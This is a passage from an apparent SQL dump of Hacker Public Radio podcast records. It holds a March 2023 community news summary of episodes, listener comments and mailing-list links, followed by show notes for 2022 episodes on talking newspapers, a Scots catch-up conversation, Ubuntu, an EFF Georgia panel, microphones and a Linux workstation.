Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3819\" target=\"_blank\">3819</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3819\" target=\"_blank\">Remapping Mouse Buttons with XBindKeys on Linux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0238.html\" target=\"_blank\">Jon Kulp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3820\" target=\"_blank\">3820</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3820\" target=\"_blank\">Introduction to Gaming</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3821\" target=\"_blank\">3821</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-03-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3821\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3822\" target=\"_blank\">3822</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-03-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3822\" target=\"_blank\">A tale of wonder, angst and woe</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3823\" target=\"_blank\">3823</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-03-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3823\" target=\"_blank\">Gitlab Pages for website hosting</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0342.html\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3824\" target=\"_blank\">3824</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-03-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3824\" target=\"_blank\">2022-2023 New Years Show Episode 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3825\" target=\"_blank\">3825</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-03-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3825\" target=\"_blank\">Creating a natural aquarium</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0375.html\" target=\"_blank\">minnix</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3434#comments\" target=\"_blank\">hpr3434</a></strong>\n(2021-09-30) \"<em>From 0 to K8s in 30 minutes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3434#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2023-03-24:\n\"Built a cluster in a rack\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751#comments\" target=\"_blank\">hpr3751</a></strong>\n(2022-12-19) \"<em>Using Noisetorch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3751#2\" target=\"_blank\">Comment 2</a>:\nReto on 2023-03-28:\n\"Noisetorch, the second choice\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3761#comments\" target=\"_blank\">hpr3761</a></strong>\n(2023-01-02) \"<em>HPR Community News for December 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3761#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-03-16:\n\"Travel journals\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3794#comments\" target=\"_blank\">hpr3794</a></strong>\n(2023-02-16) \"<em>Retro Karaoke machine restored</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0318.html\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3794#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-03-01:\n\"tape cassettes\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3794#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2023-03-14:\n\"Obsolete Audio Devices Rule\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3802#comments\" target=\"_blank\">hpr3802</a></strong>\n(2023-02-28) \"<em>Attack of the Squishmallow</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0293.html\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3802#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-03-18:\n\"Impressive undertaking\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 23 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3803#comments\" target=\"_blank\">hpr3803</a></strong>\n(2023-03-01) \"<em>Chatbot hallucination</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3803#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-27:\n\"The Inverted Rabbit\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3806#comments\" target=\"_blank\">hpr3806</a></strong>\n(2023-03-06) \"<em>HPR Community News for February 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3806#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2023-03-08:\n\"Karaoke\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3807#comments\" target=\"_blank\">hpr3807</a></strong>\n(2023-03-07) \"<em>PeePaw builds a computer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0326.html\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-02-26:\n\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2023-02-26:\n\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3807#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2023-03-08:\n\"forth shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3808#comments\" target=\"_blank\">hpr3808</a></strong>\n(2023-03-08) \"<em>Funkwhale A social platform to enjoy and share music</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3808#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-03-09:\n\"funkwhale\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3808#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-03-22:\n\"Piqued interest\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3809#comments\" target=\"_blank\">hpr3809</a></strong>\n(2023-03-09) \"<em>The Abominable Post Apocalyptic Podcast Player</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0401.html\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#1\" target=\"_blank\">Comment 1</a>:\nSome Guy on The Internet on 2023-03-09:\n\"The normiees wouldn&rsquo;t like it.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2023-03-09:\n\"captions\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#3\" target=\"_blank\">Comment 3</a>:\nnorrist on 2023-03-09:\n\"Premium HPR content\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3809#4\" target=\"_blank\">Comment 4</a>:\nMechatroniac on 2023-03-10:\n\"reply\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3810#comments\" target=\"_blank\">hpr3810</a></strong>\n(2023-03-10) \"<em>Clifton, Arizona</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3810#1\" target=\"_blank\">Comment 1</a>:\nzen_floater2 on 2023-03-10:\n\"up-state !\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3814#comments\" target=\"_blank\">hpr3814</a></strong>\n(2023-03-16) \"<em>2022-2023 New Years Show Episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#1\" target=\"_blank\">Comment 1</a>:\nStache_AF on 2023-03-16:\n\"I need to speak up\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#2\" target=\"_blank\">Comment 2</a>:\nSome Guy on The Internet on 2023-03-17:\n\"I vote for \"Push To Talk\".\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2023-03-26:\n\"What license\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3814#4\" target=\"_blank\">Comment 4</a>:\nSome Guy On The Internet on 2023-03-27:\n\"Video License.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3815#comments\" target=\"_blank\">hpr3815</a></strong>\n(2023-03-17) \"<em>The UNIVAC Uniscope - The first terminal with a video monitor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0194.html\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3815#1\" target=\"_blank\">Comment 1</a>:\nmirwi on 2023-03-24:\n\"Second delete key -&gt; carriage return?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3815#2\" target=\"_blank\">Comment 2</a>:\nDeltaray on 2023-03-27:\n\"Documentation on keyboard layout\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3821#comments\" target=\"_blank\">hpr3821</a></strong>\n(2023-03-27) \"<em>The Oh No! News.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3821#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2023-03-27:\n\"Mastodon?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3821#2\" target=\"_blank\">Comment 2</a>:\nSome Guy On The Internet on 2023-03-28:\n\"My Mastodon handle.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3822#comments\" target=\"_blank\">hpr3822</a></strong>\n(2023-03-28) \"<em>A tale of wonder, angst and woe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0365.html\" target=\"_blank\">Bookewyrmm</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3822#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-03-31:\n\"Wrist device\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3825#comments\" target=\"_blank\">hpr3825</a></strong>\n(2023-03-31) \"<em>Creating a natural aquarium</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0375.html\" target=\"_blank\">minnix</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3825#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2023-03-31:\n\"Great and fascinating show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3825#2\" target=\"_blank\">Comment 2</a>:\nminnix on 2023-03-31:\n\"Thanks Dave\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-March/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"movement-of-the-play-button-on-each-show-page\">Movement of the\n<em>play</em> button on each show page</h3>\n<ul>\n<li>A request was made to move this from the bottom of each show page,\nwhere it can be difficult to find because of the length of the notes, to\nthe top.</li>\n<li>The change was made in the last week of March.</li>\n</ul>\n<h3 id=\"non-english-shows\">Non-English shows</h3>\n<p>How to organise them?</p>\n<ol type=\"1\">\n<li>Just an intro and then the show</li>\n<li>An intro and then the show, then the text-to-speech translation\nafter</li>\n<li>Just the text-to-speech translation</li>\n<li>The original in the left channel and the text-to-speech in the\nright</li>\n</ol>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3574,'2022-04-14','Local Talking Newspapers',393,'Recordings of Local News for the Blind and Visually Impaired','<p>The Talking News Federation website:</p>\r\n<p><a href=\"https://tnf.org.uk/\" class=\"uri\">https://tnf.org.uk/</a></p>\r\n<p>With links to 300+ talking newspapers in the UK.</p>\r\n<p>The British Wireless for the Blind website:</p>\r\n<p><a href=\"https://www.bwbf.org.uk/\" class=\"uri\">https://www.bwbf.org.uk/</a></p>\r\n<p>Royalty Free Music from Bensound:</p>\r\n<p><a href=\"https://www.bensound.com/\" class=\"uri\">https://www.bensound.com/</a></p>\r\n<p>The Audacity website:</p>\r\n<p><a href=\"https://www.audacityteam.org/\" class=\"uri\">https://www.audacityteam.org/</a></p>\r\n',403,79,0,'CC-BY-SA','blind, audio, recording',0,0,1),
(3575,'2022-04-15','An Edinburgh Blether',3724,'MrX and Dave Morriss catching up after nearly a year','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hosts:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave Morriss</a></li>\r\n</ul>\r\n<p>We recorded this on Sunday March 6<sup>th</sup> 2022. The last time we set up a chat like this was back in March 2021, almost exactly a year ago surprisingly!</p>\r\n<p><small>Note on the title: we spoke a little on the subject of the Scots language in the show - when speaking of the current census - so the title uses a Scots term.</small></p>\r\n<h2 id=\"topics-discussed\">Topics discussed</h2>\r\n<ul>\r\n<li>COVID:\r\n<ul>\r\n<li>Losing track of time</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Christmas:\r\n<ul>\r\n<li>A quiet time for both of the hosts, with some family time</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Daves family matters:\r\n<ul>\r\n<li>Son graduated after doing an MSc and got a job quite quickly last year</li>\r\n<li>Daughter had graduated from an MSc the year before and also got a job this year.</li>\r\n<li>Dave had a bout of <em>shingles</em> in early January, which lasted about 6-7 weeks overall. If you can get a shingles vaccination as you age, get one!</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>UK heating, boilers, etc.\r\n<ul>\r\n<li>MrXs in-laws had a boiler failure during the cold weather, and a gas leak!</li>\r\n<li>Dave had a leak in his cold water tank in the attic which flooded the room below. He decided to completely upgrade the heating system, remove all tanks and put in a new pressurised condensing gas boiler. See the Wikipedia page for an overview of <a href=\"https://en.wikipedia.org/wiki/Central_heating\" title=\"Central heating\">central heating systems</a>.</li>\r\n<li>Old-style plumbing; coal fires, back boilers and dampers.</li>\r\n<li>The era of coal:\r\n<ul>\r\n<li><a href=\"https://en.wiktionary.org/wiki/gas_poker\" title=\"Gas poker\">Gas poker</a> used for starting domestic (usually coal) fires</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Coal_gas\" title=\"Coal gas\">Coal gas</a> made from coal, superseded by natural gas</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gas_holder\" title=\"Gasometer or Gas holder\">Gasometer</a> storage device for coal gas</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Internet connectivity:\r\n<ul>\r\n<li>Dave has transitioned from ADSL to fibre since the last show\r\n<ul>\r\n<li><em>Fibre to the Premises</em>, with up to 1 Gbit/s if desired</li>\r\n<li>New router using <em>Wireless 6</em></li>\r\n</ul></li>\r\n<li>MrX has <em>Fibre to the Cabinet</em></li>\r\n<li>Daves new router doesnt allow the Pi-hole to work at the moment</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Chromebook:\r\n<ul>\r\n<li>MrX has acquired a Chromebook since our last show\r\n<ul>\r\n<li>It is convenient to use. Made answering the online Scottish Census quite straightforward.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Census and <a href=\"https://en.wikipedia.org/wiki/Scots_language\" title=\"Scots Language\">Scots Language</a>:\r\n<ul>\r\n<li>The Census asks about the Scots Language, whether the person can speak and understand it.</li>\r\n<li>Dave follows <a href=\"https://twitter.com/Lenniesaurus\" title=\"@lenniesaurus on Twitter\"><code>@lenniesaurus</code> on Twitter</a> who introduces a daily Scots word.</li>\r\n<li>According to Wikipedia:</li>\r\n</ul>\r\n<blockquote>\r\n<p><em>Scots is recognised as an indigenous language of Scotland, a regional or minority language of Europe, and a vulnerable language by UNESCO. In the 2011 Scottish Census, over 1.5 million people in Scotland reported being able to speak Scots.</em></p>\r\n</blockquote></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Scots words:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Scots_language\">Scots Language</a></li>\r\n<li><a href=\"\">The online Scots dictionary (English to Scots)</a></li>\r\n<li><a href=\"https://twitter.com/Lenniesaurus\"><code>@lenniesaurus</code> on Twitter</a> - poet and Scots language enthusiast</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Plumbing, heating:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Central_heating\">Central Heating</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hot_water_storage_tank\">Hot water tank</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Electric_heating#Immersion_heater\">Immersion heater</a></li>\r\n<li><a href=\"https://en.wiktionary.org/wiki/gas_poker\">Gas poker</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Coal_gas\">Coal gas</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gas_holder\">Gas holder/gasometer</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Internet connection:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Asymmetric_digital_subscriber_line\">ADSL - Asymmetric digital subscriber line</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fiber_to_the_x\"><em>Fibre to the X</em> - different types of fibre connection</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','conversation,blether',0,0,1),
(3576,'2022-04-18','First impressions of Ubuntu 22.04 as a daily driver.',1380,'Knightwise gives his first impressions on the latest LTS release of Ubuntu','<p>Knightwise gives us a good first impression of the Ubuntu 22.04 release and answers the question if its ready for prime time. We go down a little rabbithole on why there will never be a year of the Linux desktop.</p>\r\n<p>The app mentioned to Sync Onedrive with Ubuntu is Insync: <a href=\"https://www.insynchq.com\" class=\"uri\">https://www.insynchq.com</a></p>\r\n<p>The podcast about Knightwise\'s favorite command line apps is here: <a href=\"https://knightwise.com/kw1607-conquering-the-command-line/\" class=\"uri\">https://knightwise.com/kw1607-conquering-the-command-line/</a></p>\r\n<p>The podcast mentioned \'Linux for a Living\" can be found here: <a href=\"https://knightwise.com/kw1604-linux-on-the-workplace-desktop/\" class=\"uri\">https://knightwise.com/kw1604-linux-on-the-workplace-desktop/</a></p>\r\n',111,0,0,'CC-BY-SA','ubuntu, linux, desktop, open-source',0,0,1),
(3578,'2022-04-20','Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest',5234,'A discussion with members of the Electronic Frontier Georgia about electronic freedom, civil rights ','<p>In this episode our two hosts talk to an eclectic panel consisting of\r\nmembers of the Georgian affiliation of the Electronic Frontier Foundation\r\n(EFF) called Electronic Frontiers Georgia. Among other topics, civil rights\r\n(especially in the digital age), sharing of ideas never mind other\r\nintellectual capital and why this still matters in socialist America are the\r\nfocus of discussion. Plus Chris manages to recount most of the founding\r\nfathers of the US (gaps may be present... :-)</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Electronic Frontiers Georgia: <a href=\"https://ef-georgia.org\" target=_blank>https://ef-georgia.org</a></li>\r\n<li>Electronic Frontier Foundation: <a href=\"https://www.eff.org\" target=_blank>https://www.eff.org</a></li>\r\n<li>Software Freedom Conservancy: <a href=\"https://sfconservancy.org\" target=_blank>https://sfconservancy.org</a></li>\r\n<li>American Civil Liberties Union: <a href=\"https://www.aclu.org\" target=_blank>https://www.aclu.org</a></li>\r\n<li>The Hacker Crackdown: <a href=\"https://www.gutenberg.org/ebooks/101\" target=_blank>https://www.gutenberg.org/ebooks/101</a></li>\r\n<li>The Electronic Frontier Alliance: <a href=\"https://www.eff.org/fight\" target=_blank>https://www.eff.org/fight</a></li>\r\n<li>Shodan: <a href=\"https://www.shodan.io\" target=_blank>https://www.shodan.io</a></li>\r\n<li>Shotspotter: <a href=\"https://www.shotspotter.com\" target=_blank>https://www.shotspotter.com</a></li>\r\n<li>High velocity winds: <a href=\"https://en.wikipedia.org/wiki/Storm\" target=_blank>https://en.wikipedia.org/wiki/Storm</a></li>\r\n<li>Super amigos: <a href=\"https://www.imdb.com/title/tt0923928/?ref_=fn_al_tt_2\" target=_blank>https://www.imdb.com/title/tt0923928/?ref_=fn_al_tt_2</a></li>\r\n<li>Chaos Communication Congress: <a href=\"https://en.wikipedia.org/wiki/Chaos_Communication_Congress\" target=_blank>https://en.wikipedia.org/wiki/Chaos_Communication_Congress</a></li>\r\n<li>Authors of US constitution: <a href=\"https://en.wikipedia.org/wiki/Founding_Fathers_of_the_United_States\" target=_blank>https://en.wikipedia.org/wiki/Founding_Fathers_of_the_United_States</a></li>\r\n<li>The Federalist Papers: <a href=\"https://en.wikipedia.org/wiki/The_Federalist_Papers\" target=_blank>https://en.wikipedia.org/wiki/The_Federalist_Papers</a></li>\r\n<li>US Consitution: <a href=\"https://guides.loc.gov/constitution\" target=_blank>https://guides.loc.gov/constitution</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','EFF,Electronic Frontier Foundation, Georgia, US Constitution, Civil Rights, Positive Lobbying',0,0,1),
(3589,'2022-05-05','Sample of my microphones',434,'Microphones I have around the apartment','<h3 id=\"microphones-around-the-apartment\">Microphones around the apartment</h3>\r\n<h4 id=\"tozo-t9\">Tozo T9</h4>\r\n<p><a href=\"https://www.amazon.com/TOZO-Environmental-Cancellation-Cancelling-Headphones/dp/B09G2ZN5FX\" class=\"uri\">https://www.amazon.com/TOZO-Environmental-Cancellation-Cancelling-Headphones/dp/B09G2ZN5FX</a></p>\r\n<p><em>Tozo T9 earbuds</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3589/Screenshot_Tozo_T9.png\" alt=\"Tozo T9 earbuds\" /> </p>\r\n<h4 id=\"moto-g-power\">Moto G Power</h4>\r\n<h4 id=\"acer-aspire-slim\">Acer Aspire Slim</h4>\r\n<h4 id=\"memorex\">Memorex?</h4>\r\n<ul>\r\n<li>Bought at Office Depot</li>\r\n</ul>\r\n<h4 id=\"mpow-hc6-usb-headset3.5mm-computer-pc-on-ear-office-headphones\">Mpow HC6 USB Headset/3.5mm Computer PC On-Ear Office Headphones</h4>\r\n<p><a href=\"https://www.ebay.com/itm/402912231079\" class=\"uri\">https://www.ebay.com/itm/402912231079</a></p>\r\n<p><em>Mpow Headset</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3589/Screenshot_Mpow_HC6.png\" alt=\"Mpow Headset\" /> </p>\r\n<h4 id=\"mobile-audio-recorder-on-f-droid\">Mobile Audio Recorder on F-droid</h4>\r\n<p><a href=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder\" class=\"uri\">https://f-droid.org/en/packages/com.github.axet.audiorecorder</a></p>\r\n',318,0,0,'CC-BY-SA','microphones, headsets, bluetooth',0,0,1),
(3581,'2022-04-25','My daily Linux driver.',1376,'Knightwise talks about the Linux system he uses as a daily driver.','<p>I talk about how I use Linux on a Daily basis from my home workstation.</p>\r\n\r\n<h3>Products mentioned in this episode</h3>\r\n<p><small>Added by Ken</small></p>\r\n<ul>\r\n<li><a href=\"https://jysk.be/nl/bureau/bureau/computertafel/verstelbaar-bureau-slangerup-zwart\">jysk Standing Desks</a> EUR 499</li>\r\n<li><a href=\"https://www.amazon.de/-/en/ASUS-XG349C-86-36-Inch-3440x1440/dp/B09641MM21\">34 ASUS Repubic of Gamers Monitor</a> EUR 1,049</li>\r\n<li><a href=\"https://www.amazon.de/-/en/S2722DC-Inches-Monitor-extreme-Anti-Glare/dp/B09CGYHJ84\">27\" Dell Display</a> EUR 339.99</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Logitech-Wireless-Keyboard-Bluetooth-Connection/dp/B07W7KRXDW\">Logitech MX Keys Wireless Keyboard, Bluetooth and USB Receiver, USB-C Connection</a> EUR 79</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Logitech-Bluetooth-connection-ultra-fast-scrolling/dp/B07W6JG6Z7\">Logitech MX Master 3 Wireless Mouse</a> EUR 66</li>\r\n<li><a href=\"https://www.amazon.de/-/en/Evolve-including-Bluetooth-Headset-7099-823-409/dp/B078P2Y7RL\">Jabra Evolve 75e UC including Link 370 Bluetooth Headset</a> EUR 222.50</li>\r\n<li><a href=\"https://www.lenovo.com/us/en/p/desktops/thinkcentre/m-series-sff/thinkcentre-m710s/11tc1md710s\">Lenovo ThinkCentre M710</a>i5, 16G RAM, 265G SSD Linux Mint ~EUR 500-1500</li>\r\n<li><a href=\"https://www.microsoft.com/en-us/windows/microsoft-edge\">Microsoft Edge</a></li>\r\n<li><a href=\"https://www.ocf.berkeley.edu/~ckuehl/tmux/\">tmux</a></li>\r\n<li><a href=\"https://www.spotify.com/\">spotify</a></li>\r\n<li>(?)Pistero(?) Podcast App</li>\r\n<li><a href=\"https://newsboat.org/\">Newsboat RSS Reader</a></li>\r\n<li><a href=\"https://irssi.org/\">Irssi IRC Client</a></li>\r\n<li><a href=\"https://apps.microsoft.com/store/detail/windows-terminal-preview/9N8G5RFZ9XK3\">Windows Terminal Preview</a></li>\r\n<li><a href=\"https://mobaxterm.mobatek.net/\">MobaXterm</a> Windows with X11 server</li>\r\n<li><a href=\"https://www.microsoft.com/en-us/d/surface-pro-x/8xtmb6c575md\">Windows Surface Pro X</a></li>\r\n</ul>\r\n',111,0,0,'CC-BY-SA','linux, workstation, ubuntu, budgie, mint',0,0,1),
